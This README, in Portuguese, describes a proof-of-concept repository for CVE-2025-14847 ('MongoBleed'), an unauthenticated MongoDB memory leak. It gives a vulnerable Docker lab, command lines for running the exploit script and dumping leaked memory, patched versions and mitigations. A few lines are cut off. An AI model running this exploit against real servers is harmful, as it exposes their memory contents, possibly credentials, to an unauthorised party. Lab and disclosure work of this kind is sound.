
CVE-2025-14847 MongoBleed - PoC da Vulnerabilidade de Vazamento de Memória do MongoDB
👨💻 Autor: Furkan KAYAPINAR (@FurkanKAYAPINAR)
⚠️ APENAS PARA FINS EDUCACIONAIS
Ambiente de laboratório e script de exploração para a vulnerabilidade crítica de vazamento de memória não autenticada no MongoDB Server.
CVE-2025-14847 (MongoBleed) é uma vulnerabilidade crítica de vazamento de memória não autenticada no manuseio de compressão zlib do MongoDB Server.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2025-14847 |
| Pontuação CVSS | 8.7 (Alto) |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma Necessária |
| Data de Divulgação | 19 de dezembro de 2025 |
A vulnerabilidade existe em message_compressor_zlib.cpp. Ao processar mensagens OP_COMPRESSED:
uncompressedSize declaradoOs dados vazados podem incluir:
| Faixa de Versão | Versão Corrigida |
|---|---|
| 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.0 - 7.0.26 | 7.0.28 |
| 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.0 - 4.4.29 | 4.4.30 |
| Todas 4.2, 4.0, 3.6 | EOL - Atualize imediatamente |
# Clonar repositório
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB
# Criar ambiente virtual
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# venv\Scripts\activate # Windows
# Instalar dependências
pip install -r requirements.txt
Inicie uma instância vulnerável do MongoDB para testes:
cd lab
# Iniciar MongoDB vulnerável (6.0.26 com zlib habilitado)
docker-compose up -d
# Verificar se está em execução
docker-compose ps
# Carregar dados de exemplo (opcional)
./setup.sh load-data
# Parar o laboratório
docker-compose down
# Alvo único
python exploit/mongobleed.py -u 127.0.0.1
# Com porta específica
python exploit/mongobleed.py -u 127.0.0.1 -p 27017
# Salvar dados vazados em arquivo
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin
# Múltiplas iterações para mais dados
python exploit/mongobleed.py -u 127.0.0.1 -i 20
# Modo silencioso (menos saída)
python exploit/mongobleed.py -u 127.0.0.1 -q
# Sem dump hexadecimal (saída de texto)
python exploit/mongobleed.py -u 127.0.0.1 --text
# Atualizar para a versão corrigida
# Exemplo para MongoDB 6.x
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27
# Iniciar mongod sem zlib
mongod --networkMessageCompressors snappy,zstd
# Ou em mongod.conf
net:
compression:
compressors: snappy,zstd
python remediation/verify_fix.py --target 127.0.0.1 --port 27017
🚨 AVISO
Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados.
- O acesso não autorizado a sistemas de computador é ilegal
- Você é o único responsável por suas ações
- Os autores não assumem responsabilidade por uso indevido
Ao usar esta ferramenta, você concorda que possui autorização adequada para testar os sistemas alvo.
Contribuições são bem-vindas! Por favor, leia CONTRIBUTING.md primeiro.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE.